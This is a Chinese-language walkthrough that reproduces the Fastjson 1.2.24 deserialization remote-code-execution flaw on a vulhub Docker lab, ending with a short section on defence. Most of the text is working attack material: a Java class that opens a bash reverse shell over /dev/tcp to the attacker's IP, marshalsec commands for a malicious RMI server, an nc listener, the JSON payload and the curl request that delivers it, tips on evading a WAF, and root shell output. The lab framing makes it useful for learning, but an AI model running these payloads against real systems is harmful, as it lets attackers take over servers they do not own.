Fastjson 1.2.24反序列化漏洞实战:从原理到反弹Shell完整复现

📅 2026/6/25 19:48:01
Fastjson 1.2.24反序列化漏洞实战:从原理到反弹Shell完整复现
1. 项目概述为什么Fastjson 1.2.24漏洞至今仍是必修课如果你在Java安全领域待过一段时间或者刚入门想找个有代表性的靶子练手Fastjson 1.2.24的反序列化漏洞绝对绕不开。这可不是一个“过时”的老古董相反它像是一本经典的教科书把Java反序列化、JNDI注入、RCE远程代码执行这些核心概念串在了一起。很多刚接触安全测试的朋友一上来就想搞点“大新闻”结果往往在环境搭建和原理理解上就卡住了更别提最后拿到那个梦寐以求的反弹Shell了。这个漏洞的实战价值在于它的“完整性”。从发现一个使用老版本Fastjson的站点到理解其利用链的构造再到最终在目标服务器上执行任意命令整个过程涵盖了Web安全测试中多个关键环节。网上教程很多但要么环境配不通要么关键步骤一笔带过让新手云里雾里。今天我就以一线实战的经验带你走一遍从零开始到获取Shell的完整路径重点分享那些教程里不会写的“坑”和“技巧”。无论你是想巩固Java反序列化知识还是准备某次渗透测试这篇文章都能给你提供一套可复现、可操作的详细方案。2. 漏洞原理深度拆解Fastjson为何“失守”要利用一个漏洞首先得明白它为什么会产生。Fastjson 1.2.24版本的漏洞核心问题出在它的autotype机制上。简单来说Fastjson在将JSON字符串反序列化成Java对象时如果JSON数据中包含type这个字段Fastjson就会根据这个字段指定的类名去实例化对应的Java类。2.1 关键机制autotype与JNDI注入的碰撞在默认配置下Fastjson是允许通过type指定任意类进行反序列化的。攻击者的思路就是构造一个特殊的JSON字符串其中的type指向一个可以被利用的“危险类”。在1.2.24这个版本及之前有两个类常被用作攻击跳板com.sun.rowset.JdbcRowSetImpl和org.apache.ibatis.datasource.jndi.JndiDataSourceFactory。这里我们以更经典的JdbcRowSetImpl为例。JdbcRowSetImpl类有一个setAutoCommit方法。当这个方法被调用时它会尝试去连接一个指定的数据源。关键在于这个数据源地址dataSourceName可以通过JNDIJava Naming and Directory Interface协议来指定。如果我们将dataSourceName指向一个由攻击者控制的恶意RMIRemote Method Invocation或LDAP服务那么当目标服务器反序列化我们的JSON并执行到setAutoCommit时就会向我们的恶意服务发起请求。我们的恶意RMI/LDAP服务的作用就是响应这个请求并告诉目标服务器“你去加载并执行我返回给你的这个Java类吧”。这个被返回的类就是我们的攻击载荷Payload通常是一个包含恶意代码的类文件。目标服务器在接收到响应后会在其classpath下寻找这个类如果找不到就会从我们指定的HTTP地址去动态加载。一旦加载成功其中的静态代码块或构造函数中的代码就会被执行从而实现远程代码执行。注意整个利用链的成功依赖于一个关键条件目标服务器的Java环境必须可以在安全策略的限制下从远程地址加载类。在Java 8u121、7u131、6u141版本之前相关安全限制如com.sun.jndi.rmi.object.trustURLCodebase默认是关闭或较宽松的这使得远程加载成为可能。这也是为什么复现环境通常需要搭配旧版本JDK的原因。2.2 漏洞利用链全景图为了更直观地理解我们可以把整个攻击流程梳理成以下几个步骤攻击者准备阶段编译一个包含恶意代码的Java类并将其托管在一个HTTP服务器上。同时启动一个恶意的RMI服务器该服务器被配置为当有客户端连接时就返回指向那个恶意HTTP地址的引用。构造攻击载荷攻击者构造一个特殊的JSON字符串其中type为com.sun.rowset.JdbcRowSetImpl并设置其dataSourceName属性为指向上述恶意RMI服务的地址如rmi://attacker-ip:1099/Exploit同时设置autoCommit属性为true以触发连接。发送载荷将这个JSON字符串通过HTTP请求等方式发送给使用了Fastjson 1.2.24的目标Web应用。目标服务器触发漏洞Fastjson解析JSON看到type于是实例化JdbcRowSetImpl对象。在设置属性时调用了setDataSourceName(rmi://attacker-ip:1099/Exploit)和setAutoCommit(true)。setAutoCommit方法触发尝试连接指定的RMI地址。恶意服务响应目标服务器连接到攻击者的RMI服务。RMI服务响应告诉目标服务器“你要的Exploit类在http://attacker-ip:8000/Exploit.class”。远程类加载与执行目标服务器根据RMI返回的地址从攻击者的HTTP服务器下载Exploit.class文件并在本地加载。加载过程中该类静态代码块中的命令如反弹Shell命令随即被执行。攻击者接收Shell如果恶意代码是反弹Shell攻击者将在监听的端口上获得一个与目标服务器的命令行连接。理解了这个链条你就掌握了Fastjson反序列化漏洞的精髓。接下来我们进入实战环节一步步搭建环境并实现它。3. 靶场环境搭建与配置详解一个稳定、隔离的测试环境是成功复现的第一步。我推荐使用Docker来搭建这能保证环境一致性也避免污染你的主机。3.1 基础环境准备你需要准备两台虚拟机或容器模拟攻击者和受害者。攻击机 (Kali Linux / 任意Linux with Docker)用于发起攻击运行RMI服务、HTTP服务和监听Shell。IP假设为192.168.1.100靶机 (Ubuntu with Docker)运行存在漏洞的Web应用。IP假设为192.168.1.200确保两台机器网络互通。在攻击机上我们使用Docker快速搭建漏洞环境。首先拉取一个专门用于漏洞复现的镜像这里我们使用vulhub项目中的Fastjson 1.2.24环境# 在攻击机上操作 git clone https://github.com/vulhub/vulhub.git cd vulhub/fastjson/1.2.24-rce docker-compose up -d执行后Docker会在本地启动一个Tomcat容器其中部署了一个存在Fastjson 1.2.24漏洞的简单Web应用。通常它会映射到宿主机的8090端口。你可以用docker ps查看容器状态并通过http://192.168.1.200:8090访问注意这里需要替换为你的靶机实际IP。3.2 关键配置与避坑指南这里有几个新手百分百会踩的坑务必注意坑点一JDK版本问题靶机环境Docker容器里的JDK版本必须是“有漏洞”的版本。vulhub的镜像通常已经配置好了如OpenJDK 8u102。如果你自己从零搭建务必使用Java 8u121以下的版本。检查命令java -version。坑点二网络与防火墙确保攻击机和靶机容器之间网络是通的。在Docker默认的桥接网络下容器有独立的IP。你需要确保攻击载荷中RMI地址的IP是攻击机宿主机的IP并且端口是宿主机上映射出来的端口而不是容器内部的端口。同时关闭防火墙或放行相关端口如RMI的1099HTTP的8000Shell监听的9001。# 在攻击机上检查端口监听 sudo netstat -tulnp | grep -E (1099|8000|9001)坑点三依赖包冲突如果你是自己编写漏洞利用代码需要确保编译和运行时的Java依赖版本一致。特别是fastjson-1.2.24.jar本身。最好从官方仓库下载对应版本避免使用Maven中央仓库可能被修复的后续版本。4. 攻击载荷制作与恶意服务部署环境就绪后我们开始在攻击机上准备“武器”。4.1 编译恶意Java类我们创建一个名为Exploit.java的文件其内容就是执行系统命令。为了获得一个交互式Shell我们通常使用bash或python反弹Shell。// Exploit.java import java.lang.Runtime; import java.lang.Process; public class Exploit { static { try { Runtime rt Runtime.getRuntime(); // 反弹Shell命令示例Linux靶机 String cmd bash -i /dev/tcp/192.168.1.100/9001 01; // 如果是Windows靶机命令不同但Fastjson漏洞多见于Linux服务端 // String cmd calc.exe; // Windows弹计算器测试 Process pc rt.exec(cmd); pc.waitFor(); } catch (Exception e) { // do nothing } } }重要修改将命令中的192.168.1.100替换为你攻击机的真实IP地址。9001是攻击机监听Shell的端口。使用靶机环境对应的JDK版本或兼容版本进行编译javac Exploit.java编译后会生成Exploit.class文件。这个文件需要被靶机下载并加载所以我们要把它放在一个HTTP服务器能访问到的地方。4.2 启动HTTP文件服务器在攻击机上进入Exploit.class所在的目录用Python快速启动一个HTTP服务python3 -m http.server 8000现在http://192.168.1.100:8000/Exploit.class这个地址应该可以访问了。确保防火墙放行了8000端口。4.3 启动恶意RMI服务这里我们使用一个现成的工具marshalsec来快速启动一个恶意的RMI服务器。它能够将客户端的请求重定向到我们指定的HTTP地址。首先下载并编译marshalsecgit clone https://github.com/mbechler/marshalsec.git cd marshalsec mvn clean package -DskipTests编译完成后在target目录下会生成marshalsec-0.0.3-SNAPSHOT-all.jar文件。启动RMI服务并指定引用指向我们的HTTP服务上的Exploit.classjava -cp target/marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer http://192.168.1.100:8000/#Exploit 1099这条命令的意思是在1099端口启动一个RMI服务当有客户端靶机请求时就告诉它去http://192.168.1.100:8000/加载Exploit类。4.4 启动Netcat监听器在攻击机上另开一个终端启动Netcat监听我们之前在恶意代码中指定的端口9001等待靶机反弹连接过来的Shellnc -lvnp 9001至此攻击机上的所有服务HTTP、RMI、NC监听都已就位。5. 构造POC与漏洞触发实战现在万事俱备只欠东风——向靶场发送那个致命的JSON数据包。5.1 构造攻击JSONPOC根据前面的原理我们构造如下JSON数据{ type: com.sun.rowset.JdbcRowSetImpl, dataSourceName: rmi://192.168.1.100:1099/Exploit, autoCommit: true }同样将192.168.1.100替换为你的攻击机IP。5.2 发送攻击请求存在漏洞的端点通常是一个接收JSON参数进行解析的接口。在vulhub的靶场中通常有一个类似/fastjson的路径。我们可以使用curl命令发送POST请求curl -X POST http://192.168.1.200:8090/fastjson \ -H Content-Type: application/json \ -d { type: com.sun.rowset.JdbcRowSetImpl, dataSourceName: rmi://192.168.1.100:1099/Exploit, autoCommit: true }或者使用Burp Suite等工具会更方便观察和调试。将请求发送出去后立即观察攻击机上的几个终端窗口。5.3 观察攻击流程与结果RMI服务终端你会看到类似“Received connection from /192.168.1.200:xxxxx”的连接日志说明靶机已经连接上了你的恶意RMI服务。HTTP服务终端你会看到一条“GET /Exploit.class”的访问记录这说明靶机已经从你的HTTP服务器下载了恶意类文件。Netcat监听终端如果一切顺利几秒后这个终端会突然“卡住”或者出现一个新的命令行提示符这很可能就是靶机的Shell你可以尝试输入id或whoami命令来验证。如果成功你将看到类似以下的输出表明你已经获得了靶机Docker容器的权限listening on [any] 9001 ... connect to [192.168.1.100] from (UNKNOWN) [192.168.1.200] 40678 id uid0(root) gid0(root) groups0(root)6. 实战中常见问题与深度排查技巧理想很丰满现实往往骨感。下面是我在多次复现和教学中总结的高频问题及解决方法。6.1 问题速查与解决表问题现象可能原因排查步骤与解决方案RMI服务无连接日志1. 网络不通。2. 靶场服务未成功运行或路径错误。3. JSON载荷格式错误或未触发漏洞。1.ping靶机IP检查端口连通性telnet 靶机IP 8090。2. 访问靶场URL确认服务正常。用Burp重放请求查看响应。3. 检查JSON格式确保type类名完全正确无多余逗号。尝试使用dnslog测试是否解析先验证漏洞存在。HTTP服务收到请求但NC无Shell1. 反弹Shell命令不兼容靶机环境。2. 靶机安全策略限制如/bin/bash不可用。3. 出网协议或端口被防火墙限制。1. 确认靶机系统通常是Linux。尝试更通用的命令/bin/sh -i /dev/tcp/...或使用python、perl、nc反弹。2. 进入Docker容器检查docker exec -it 容器ID /bin/sh看看有哪些可用shell。3. 尝试让恶意类执行一个简单的touch /tmp/success命令看文件是否创建先验证命令执行是否成功。报错ClassNotFoundException或NoClassDefFoundError1. RMI返回的类名或路径错误。2. HTTP服务上的class文件访问不到或损坏。1. 检查marshalsec启动命令中的URL#后的类名必须与Exploit.class的文件名不含后缀一致。2. 直接浏览器访问http://你的IP:8000/Exploit.class看能否下载。检查编译用的JDK版本是否与靶机相差过大。报错涉及trustURLCodebase靶机JDK版本过高8u121。这是最常见的失败原因必须使用低于 8u121/7u131/6u141 的JDK版本。检查靶机环境JDK版本并更换为漏洞版本。Burp发送请求后服务端返回500错误但无后续可能触发了漏洞但执行过程出错。查看Tomcat容器的日志docker logs -f 容器ID。日志中通常会包含更详细的错误信息如具体的异常栈这是定位问题的关键。6.2 高阶技巧与拓展思路DNSLOG探测漏洞存在性在不确定目标是否存在漏洞时可以先使用无害的探测方式。将RMI地址换成DNSLOG平台提供的域名如rmi://xxx.dnslog.cn/Exploit。如果漏洞存在目标服务器会尝试进行JNDI查询从而在DNSLOG平台留下解析记录这可以在不触发攻击的情况下确认漏洞。利用链的变种除了JdbcRowSetImpl还有其它利用链如org.apache.ibatis.datasource.jndi.JndiDataSourceFactory。在一种链被防御时可以尝试另一种。构造的JSON略有不同需要设置properties属性。绕过WAF/IDS实战中直接使用明文的type和RMI地址可能会被拦截。可以尝试对JSON键名或RMI URL进行Unicode编码、十六进制编码、添加多余空白符等方式进行混淆绕过。不出网利用如果目标服务器不能访问外网上述外带加载的方式就失效了。这就需要寻找目标Classpath中已有的、可利用的“危险类”即所谓的内网利用或不出网利用如org.apache.xpath.internal.objects.XString等构造更复杂的“二次反序列化”链这需要更深入的研究。7. 防御视角与修复建议作为开发者或安全运维了解攻击是为了更好的防御。针对Fastjson反序列化漏洞修复措施是清晰的升级Fastjson这是最根本的解决方案。将Fastjson升级到安全版本1.2.25及以上并强烈建议使用最新版本。新版本默认关闭了autotype支持并引入了checkAutotype安全机制。关闭autotype如果因兼容性问题无法立即升级在代码中明确指定ParserConfig.getGlobalInstance().setAutoTypeSupport(false);。但请注意这并非绝对安全有被绕过风险。使用安全白名单在配置中启用autotype白名单只允许反序列化可信的类。ParserConfig.getGlobalInstance().addAccept(“com.xxx.safe.”);升级JDK将生产环境JDK升级到最新版本如8u191/11.0.1以上这些版本默认将com.sun.jndi.rmi.object.trustURLCodebase和com.sun.jndi.ldap.object.trustURLCodebase设置为false从根本上阻断了远程类加载这条利用路径。输入验证与过滤对用户输入的JSON数据进行严格的格式和内容检查过滤掉异常的type字段或明显恶意的内容。通过这次从环境搭建到反弹Shell的完整实战你不仅掌握了一个经典漏洞的利用方法更重要的是理解了Java反序列化漏洞的通用攻击模型和防御思路。在安全测试中耐心和细致的排查往往比工具本身更重要。每一次踩坑和解决问题的过程都是对你技术能力的夯实。把这个流程吃透再面对其他反序列化漏洞时你就能更快地抓住要害直击靶心。